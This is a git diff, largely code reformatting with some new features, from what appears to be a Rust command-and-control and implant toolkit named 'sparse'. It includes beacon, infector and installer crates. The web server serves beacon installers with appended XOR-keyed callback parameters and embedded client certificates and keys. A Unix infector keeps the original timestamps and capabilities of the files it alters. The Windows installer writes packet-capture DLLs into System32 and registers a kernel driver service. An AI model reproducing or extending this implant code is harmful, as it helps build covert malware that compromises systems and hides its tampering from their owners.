- DbUser, - "SELECT user_id, user_name, last_active FROM users" - ) + let users = sqlx::query_as!(DbUser, "SELECT user_id, user_name, last_active FROM users") .fetch(&pool) - .map(|user| user.map(|u| PubUser { - user_id: u.user_id, - user_name: u.user_name, - last_active: u.last_active.map(|ts| DateTime::from_timestamp(ts, 0)).flatten() - })) + .map(|user| { + user.map(|u| PubUser { + user_id: u.user_id, + user_name: u.user_name, + last_active: u + .last_active + .map(|ts| DateTime::from_timestamp(ts, 0)) + .flatten(), + }) + }) .collect::>>() .await; @@ -250,7 +265,9 @@ async fn add_user(name: String, password: String) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let pool = expect_context::(); diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index f61c7f8..e3d7796 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -1,9 +1,14 @@ use std::{net::SocketAddrV4, process::ExitCode}; -use sqlx::sqlite::SqlitePool; -use axum::{extract::{FromRef, Path, State}, response::IntoResponse, Router, routing::get}; +use axum::{ + extract::{FromRef, Path, State}, + response::IntoResponse, + routing::get, + Router, +}; use leptos::prelude::*; use leptos_axum::{generate_route_list, LeptosRoutes}; +use sqlx::sqlite::SqlitePool; use tokio::signal; use sparse_server::app::*; @@ -11,8 +16,10 @@ use sparse_server::app::*; #[cfg(not(debug_assertions))] pub(crate) mod beacon_binaries { pub const LINUX_INSTALLER: &'static [u8] = include_bytes!(std::env!("SPARSE_INSTALLER_LINUX")); - pub const FREEBSD_INSTALLER: &'static [u8] = include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD")); - pub const WINDOWS_INSTALLER: &'static [u8] = include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS")); + pub const FREEBSD_INSTALLER: &'static [u8] = + include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD")); + pub const WINDOWS_INSTALLER: &'static [u8] = + include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS")); } #[cfg(debug_assertions)] @@ -21,7 +28,11 @@ pub async fn get_installer(btype: &str) -> Result, crate::error::Error> "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer", "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer", "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-unix-installer", - other => return Err(crate::error::Error::Generic(format!("unknown beacon type: {other}"))), + other => { + return Err(crate::error::Error::Generic(format!( + "unknown beacon type: {other}" + ))) + } }; Ok(tokio::fs::read(path).await?) @@ -32,20 +43,22 @@ pub async fn get_installer(btype: &str) -> Result, crate::error::Error> "linux" => Ok(beacon_binaries::LINUX_INSTALLER.to_owned()), "windows" => Ok(beacon_binaries::WINDOWS_INSTALLER.to_owned()), "freebsd" => Ok(beacon_binaries::FREEBSD_INSTALLER.to_owned()), - other => Err(crate::error::Error::Generic(format!("unknown beacon type: {other}"))) + other => Err(crate::error::Error::Generic(format!( + "unknown beacon type: {other}" + ))), } } #[derive(FromRef, Clone, Debug)] pub struct AppState { db: SqlitePool, - leptos_options: leptos::config::LeptosOptions + leptos_options: leptos::config::LeptosOptions, } #[axum::debug_handler] pub async fn download_beacon_installer( Path(template_id): Path, - State(db): State + State(db): State, ) -> Result { use rand::{rngs::OsRng, TryRngCore}; use sparse_actions::payload_types::{Parameters_t, XOR_KEY}; @@ -53,15 +66,17 @@ pub async fn download_beacon_installer( let mut parameters_buffer = vec![0u8; std::mem::size_of::()]; let _ = OsRng.try_fill_bytes(&mut parameters_buffer); - let parameters: &mut Parameters_t = unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) }; + let parameters: &mut Parameters_t = + unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) }; let template = sqlx::query!( r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask, - source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key + source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key, + source_interface FROM beacon_template JOIN beacon_listener" ) - .fetch_one(&db.db) - .await?; + .fetch_one(&db.db) + .await?; let dest_ip = template.public_ip.parse::()?; let src_ip = template.source_ip.parse::()?; @@ -79,19 +94,29 @@ pub async fn download_beacon_installer( .map(|by| u8::from_str_radix(by, 16)) .collect::, _>>() .map_err(|_| crate::error::Error::Generic("Could not parse source MAC address".to_string())) - .and_then( - |bytes| bytes.try_into().map_err(|_| crate::error::Error::Generic("Could not parse source MAC address".to_string())) - )?; + .and_then(|bytes| { + bytes.try_into().map_err(|_| { + crate::error::Error::Generic("Could not parse source MAC address".to_string()) + }) + })?; let src_octets = src_ip.octets(); - match (template.source_mode.as_deref(), template.source_netmask, template.source_gateway) { + match ( + template.source_mode.as_deref(), + template.source_netmask, + template.source_gateway, + ) { (Some("custom"), Some(nm), Some(ip)) => unsafe { let gateway = ip.parse::()?; let gw_octets = gateway.octets(); parameters.source_ip.custom_networking.mode = 0; - parameters.source_ip.custom_networking.source_mac.copy_from_slice(&src_mac[..]); parameters.source_ip.custom_networking.netmask = nm as u16; + parameters + .source_ip + .custom_networking + .source_mac + .copy_from_slice(&src_mac[..]); parameters.source_ip.custom_networking.source_ip.a = src_octets[0]; parameters.source_ip.custom_networking.source_ip.b = src_octets[1]; parameters.source_ip.custom_networking.source_ip.c = src_octets[2]; @@ -100,17 +125,31 @@ pub async fn download_beacon_installer( parameters.source_ip.custom_networking.gateway.b = gw_octets[1]; parameters.source_ip.custom_networking.gateway.c = gw_octets[2]; parameters.source_ip.custom_networking.gateway.d = gw_octets[3]; - } + + if let Some(intf) = &template.source_interface { + parameters.source_ip.custom_networking.interface[..intf.len()] + .copy_from_slice(&intf[..]); + parameters.source_ip.custom_networking.interface_len = intf.len() as u8; + } else { + parameters.source_ip.custom_networking.interface_len = 0; + } + }, (Some("host"), _, _) => unsafe { parameters.source_ip.use_host_networking.mode = 1; - parameters.source_ip.use_host_networking.source_mac.copy_from_slice(&src_mac[..]); + parameters + .source_ip + .use_host_networking + .source_mac + .copy_from_slice(&src_mac[..]); parameters.source_ip.use_host_networking.source_ip.a = src_octets[0]; parameters.source_ip.use_host_networking.source_ip.b = src_octets[1]; parameters.source_ip.use_host_networking.source_ip.c = src_octets[2]; parameters.source_ip.use_host_networking.source_ip.d = src_octets[3]; - } + }, _ => { - return Err(crate::error::Error::Generic("Could not parse host networking configuration".to_string())); + return Err(crate::error::Error::Generic( + "Could not parse host networking configuration".to_string(), + )); } } @@ -144,10 +183,7 @@ pub async fn download_beacon_installer( Ok(( [ - ( - header::CONTENT_TYPE, - "application/octet-stream".to_string() - ), + (header::CONTENT_TYPE, "application/octet-stream".to_string()), ( header::CONTENT_DISPOSITION, format!( @@ -157,17 +193,17 @@ pub async fn download_beacon_installer( } else { "" } - ) - ) + ), + ), ], - [ - &installer_bytes[..], - ¶meters_bytes[..] - ].concat() + [&installer_bytes[..], ¶meters_bytes[..]].concat(), )) } -pub async fn serve_web(management_address: SocketAddrV4, db: SqlitePool) -> anyhow::Result { +pub async fn serve_web( + management_address: SocketAddrV4, + db: SqlitePool, +) -> anyhow::Result { let conf = get_configuration(None).unwrap(); let leptos_options = conf.leptos_options; let routes = generate_route_list(App); @@ -183,7 +219,7 @@ pub async fn serve_web(management_address: SocketAddrV4, db: SqlitePool) -> anyh let state = AppState { leptos_options: leptos_options.clone(), - db: db.clone() + db: db.clone(), }; let app = Router::new() @@ -198,20 +234,26 @@ pub async fn serve_web(management_address: SocketAddrV4, db: SqlitePool) -> anyh { let leptos_options = leptos_options.clone(); move || shell(leptos_options.clone()) - } + }, ) - .fallback(leptos_axum::file_and_error_handler::(shell)) + .fallback(leptos_axum::file_and_error_handler::< + leptos::config::LeptosOptions, + _, + >(shell)) .with_state(state) .layer( tower::ServiceBuilder::new() .layer(tower_http::trace::TraceLayer::new_for_http()) - .layer(compression_layer) + .layer(compression_layer), ); // run our app with hyper // `axum::Server` is a re-export of `hyper::Server` let management_listener = tokio::net::TcpListener::bind(&management_address).await?; - tracing::info!("management interface listening on http://{}", &management_address); + tracing::info!( + "management interface listening on http://{}", + &management_address + ); axum::serve(management_listener, app.into_make_service()) .with_graceful_shutdown(shutdown_signal()) diff --git a/sparse-unix-infector/src/lib.rs b/sparse-unix-infector/src/lib.rs index a183bef..34a9765 100644 --- a/sparse-unix-infector/src/lib.rs +++ b/sparse-unix-infector/src/lib.rs @@ -94,11 +94,11 @@ where let access_time = libc::timespec { tv_sec: metadata.atime(), - tv_nsec: metadata.atime_nsec() + tv_nsec: metadata.atime_nsec(), }; let modify_time = libc::timespec { tv_sec: metadata.mtime(), - tv_nsec: metadata.mtime_nsec() + tv_nsec: metadata.mtime_nsec(), }; unsafe { @@ -320,7 +320,6 @@ where cap_set_fd(binary.as_raw_fd(), current_caps); cap_free(current_caps); } - } Ok(()) diff --git a/sparse-unix-installer/src/main.rs b/sparse-unix-installer/src/main.rs index 521a84f..dc3baf6 100644 --- a/sparse-unix-installer/src/main.rs +++ b/sparse-unix-installer/src/main.rs @@ -1,10 +1,10 @@ use std::{ fs::OpenOptions, - io::{prelude::*, Error, SeekFrom}, + io::{Error, SeekFrom, prelude::*}, path::PathBuf, }; -use rand::{rngs::OsRng, TryRngCore}; +use rand::{TryRngCore, rngs::OsRng}; use structopt::StructOpt; use sparse_actions::payload_types::{Parameters, XOR_KEY}; diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index 51a123f..acf9a69 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -7,5 +7,7 @@ version.workspace = true crate-type = ["cdylib"] [dependencies] -windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } +anyhow = "1.0.95" +pcap-sys = { version = "0.1.0", path = "../pcap-sys" } +windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } winreg = "0.55" diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs index 1a60cc9..712eac0 100644 --- a/sparse-windows-beacon/src/lib.rs +++ b/sparse-windows-beacon/src/lib.rs @@ -1,6 +1,6 @@ use windows::{ - core::*, Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*}, + core::*, }; #[unsafe(no_mangle)] diff --git a/sparse-windows-beacon/src/main.rs b/sparse-windows-beacon/src/main.rs new file mode 100644 index 0000000..e4340a2 --- /dev/null +++ b/sparse-windows-beacon/src/main.rs @@ -0,0 +1,144 @@ +fn main() -> anyhow::Result<()> { + let devs = pcap_sys::PcapDevIterator::new()?; + + for dev in devs { + println!("{dev}"); + } + + unsafe { + use std::ffi::CStr; + + use windows::Win32::{ + NetworkManagement::IpHelper::{ + GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses, + IP_ADAPTER_ADDRESSES_LH, + }, + Networking::WinSock::AF_INET, + }; + + let mut size_pointer: u32 = 0; + + let err = GetAdaptersAddresses( + 2, + GET_ADAPTERS_ADDRESSES_FLAGS(0), + None, + None, + &mut size_pointer as *mut _, + ); + + let mut address_buffer = vec![0; size_pointer as usize]; + + let err2 = GetAdaptersAddresses( + 2, + GAA_FLAG_INCLUDE_GATEWAYS, + None, + Some(address_buffer.as_mut_ptr() as *mut _), + &mut size_pointer as *mut _, + ); + + if err2 != 0 { + eprintln!("Error code received for second one: {err2}"); + Err(std::io::Error::last_os_error())?; + } + + let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH; + + fn pwstr_to_string(pwstr: *mut u16) -> String { + use std::ffi::OsString; + use std::os::windows::ffi::OsStringExt; + use std::slice; + + if pwstr.is_null() { + return String::new(); + } + + // Find the length of the null-terminated UTF-16 string + let mut len = 0; + unsafe { + while *pwstr.add(len) != 0 { + len += 1; + } + + // Convert UTF-16 slice to Rust String + let wide_slice = slice::from_raw_parts(pwstr, len); + OsString::from_wide(wide_slice) + .to_string_lossy() + .into_owned() + } + } + + while !current_address.is_null() { + println!("-----"); + println!( + "Name: {:?} ({:?})", + CStr::from_ptr((*current_address).AdapterName.0 as *const _), + pwstr_to_string((*current_address).FriendlyName.0) + ); + + println!("Mtu: {:?}", (*current_address).Mtu); + println!( + "Physical address: {:X?}", + &(*current_address).PhysicalAddress + [..(*current_address).PhysicalAddressLength as usize] + ); + + println!("IP addresses:"); + let mut unicast_address = (*current_address).FirstUnicastAddress; + + while !unicast_address.is_null() { + let address = (*(*unicast_address).Address.lpSockaddr).sa_data; + + println!( + "\tIP address: {}.{}.{}.{}/{}", + address[2] as u8, + address[3] as u8, + address[4] as u8, + address[5] as u8, + (*unicast_address).OnLinkPrefixLength + ); + + unicast_address = (*unicast_address).Next; + } + + println!("Gateways:"); + let mut gateway = (*current_address).FirstGatewayAddress; + + while !gateway.is_null() { + let address = (*(*gateway).Address.lpSockaddr).sa_data; + + println!( + "\tIP address: {}.{}.{}.{}", + address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8 + ); + + gateway = (*gateway).Next; + } + + println!("Routes:"); + let mut route = (*current_address).FirstPrefix; + + while !route.is_null() { + let address = (*(*route).Address.lpSockaddr).sa_data; + + println!( + "\tRoute: {}.{}.{}.{}/{}", + address[2] as u8, + address[3] as u8, + address[4] as u8, + address[5] as u8, + (*route).PrefixLength + ); + + route = (*route).Next; + } + + println!("\n"); + + current_address = (*current_address).Next; + } + + drop(address_buffer); + } + + Ok(()) +} diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs index aba01c8..4009ea0 100644 --- a/sparse-windows-infector/src/lib.rs +++ b/sparse-windows-infector/src/lib.rs @@ -1,5 +1,5 @@ use std::{ - io::{prelude::*, Error}, + io::{Error, prelude::*}, path::Path, }; diff --git a/sparse-windows-installer/src/main.rs b/sparse-windows-installer/src/main.rs index b7fa9c6..203e6a4 100644 --- a/sparse-windows-installer/src/main.rs +++ b/sparse-windows-installer/src/main.rs @@ -1,10 +1,10 @@ use std::{ fs::OpenOptions, - io::{prelude::*, Error, SeekFrom}, + io::{Error, SeekFrom, prelude::*}, path::PathBuf, }; -use rand::{rngs::OsRng, TryRngCore}; +use rand::{TryRngCore, rngs::OsRng}; use structopt::StructOpt; use sparse_actions::payload_types::{Parameters, XOR_KEY}; @@ -103,7 +103,7 @@ fn main() -> Result<(), Error> { #[cfg(target_os = "windows")] fn install_winpcap(load_winpcap: bool) -> Result<(), Error> { - use winreg::{enums::*, RegKey, RegValue}; + use winreg::{RegKey, RegValue, enums::*}; std::fs::write(r"C:\Windows\System32\wpcap.dll", WPCAP_DLL)?; std::fs::write(r"C:\Windows\System32\Packet.dll", PACKET_DLL)?; @@ -138,9 +138,9 @@ fn install_winpcap(load_winpcap: bool) -> Result<(), Error> { if load_winpcap { unsafe { use windows::Win32::System::Services::{ - CreateServiceW, OpenSCManagerW, OpenServiceW, StartServiceW, SC_MANAGER_ALL_ACCESS, + CreateServiceW, OpenSCManagerW, OpenServiceW, SC_MANAGER_ALL_ACCESS, SERVICE_ALL_ACCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, - SERVICE_KERNEL_DRIVER, SERVICE_START, + SERVICE_KERNEL_DRIVER, SERVICE_START, StartServiceW, }; use windows_strings::*; @@ -159,7 +159,9 @@ fn install_winpcap(load_winpcap: bool) -> Result<(), Error> { if let Ok(srvc) = npfsrvc { println!("Service already installed, starting"); - println!("(If it fails because it's already running, that's fine, everything has worked)"); + println!( + "(If it fails because it's already running, that's fine, everything has worked)" + ); StartServiceW(srvc, None)?; return Ok(()); } diff --git a/unix-loader/src/abi.h b/unix-loader/src/abi.h index e310943..17ffd3e 100644 --- a/unix-loader/src/abi.h +++ b/unix-loader/src/abi.h @@ -16,9 +16,13 @@ typedef union SourceIp { struct { char mode; // set to 1 unsigned char source_mac[6]; + unsigned char interface_len; unsigned short netmask; ipaddr_t source_ip; ipaddr_t gateway; + // Windows references interfaces by GUID + // I'm too lazy to pack it more efficiently + unsigned char interface[40]; } custom_networking; } SourceIp_t;